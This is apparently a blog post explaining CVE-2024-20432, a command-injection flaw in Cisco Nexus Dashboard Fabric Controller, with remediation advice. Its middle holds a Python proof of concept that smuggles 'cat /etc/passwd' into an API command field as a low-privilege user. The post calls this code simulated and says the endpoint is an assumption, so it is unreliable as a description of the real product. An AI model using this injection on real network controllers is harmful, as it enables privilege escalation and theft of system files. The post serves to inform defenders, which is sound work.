A new security bug, tagged as CVE-2024-20432, has been found in Cisco Nexus Dashboard Fabric Controller (NDFC). This bug allows attackers who already have a basic user account to run system commands on core network gear, all through a web page or REST API. In this post, I'll break down how this works, why it's dangerous, and show you some real-life code examples of how it could be used.

If you manage or support Cisco fabric controllers, this is a must-read. Skipping this vulnerability could put your entire network at risk.

What is CVE-2024-20432?

CVE-2024-20432 is a flaw in the authentication and input checks in the REST API and Web User Interface of Cisco NDFC. Basically, a regular, non-admin user can trick the system into running commands as if they were a full admin, giving them higher privileges than they should have.

Affects network-mode only (not SAN controller deployments).

Source:
- Cisco Security Advisory for CVE-2024-20432

How Does the Attack Work?

The vulnerability is basically a *command injection* flaw. A low-privileged user sends specially crafted arguments, either as a web form or a REST API request. Because the backend code doesn't filter or restrict these inputs, attackers can sneak in system commands.

Web UI: Attacker fills a form field with malicious content.

- REST API: Attacker sends a POST/GET request with crafted data.

Example scenario:
A user who’s supposed to just monitor the system could instead run something like cat /etc/passwd or create new admin accounts.

Proof Of Concept (PoC): How Easy is Exploitation?

Below is a simulated (Python) API exploit demonstrating a simple PoC.

Let’s assume

- Cisco NDFC is at https://10.5.5.5

A user has low privileges (not admin)

- API endpoint at /api/v1/device/execcommand

import requests
import json

session = requests.Session()
session.verify = False  # skip SSL for demo (not safe for real use!)

# Authenticate as low-priv user
login_url = "https://10.5.5.5/api/v1/auth/login"
login_payload = {"username": "lowuser", "password": "weakpass"}
login_resp = session.post(login_url, json=login_payload)
if login_resp.status_code != 200:
    print("Login failed!")
    exit()

# Exploit via crafted input to execcommand endpoint
exploit_url = "https://10.5.5.5/api/v1/device/execcommand"
cmd_inject = 'show version; cat /etc/passwd'  # inject additional command
exploit_payload = {
    "device_ip": "192.168.1.10",
    "command": cmd_inject
}
exploit_resp = session.post(exploit_url, json=exploit_payload)
print("Exploit Result: ", exploit_resp.text)

*What’s happening?*
Instead of just running "show version", the system will also execute cat /etc/passwd, leaking sensitive files.

Why Does This Happen? (Technical Roots)

- Improper User Authorization: Backend only checks if the user is logged in—not what *level* they are.
- Insufficient Input Validation: Commands sent in by users are not properly checked or sanitized, letting attackers slip in extra semicolons or shell characters (;, &&, etc.).

Web UI to users with low privilege

Not affected:
NDFC deployed as a Storage Area Network (SAN) controller.

How to Fix and Protect

- Patch Now: Cisco has released software updates for affected platforms.
- Restrict Access: Limit REST API/Web UI to trusted networks only.

More Reading

- National Vulnerability Database - CVE-2024-20432
- Cisco NDFC Official Page

Conclusion

CVE-2024-20432 shows how dangerous even simple mistakes in user checks and input handling can be in network controllers. Even if someone is a regular user, they may be able to take complete control of your fabric if you haven't patched. Follow best practices, stay updated, and always review your privilege and exposure settings.

Timeline

Published on: 10/02/2024 17:15:15 UTC
Last modified on: 10/08/2024 14:10:35 UTC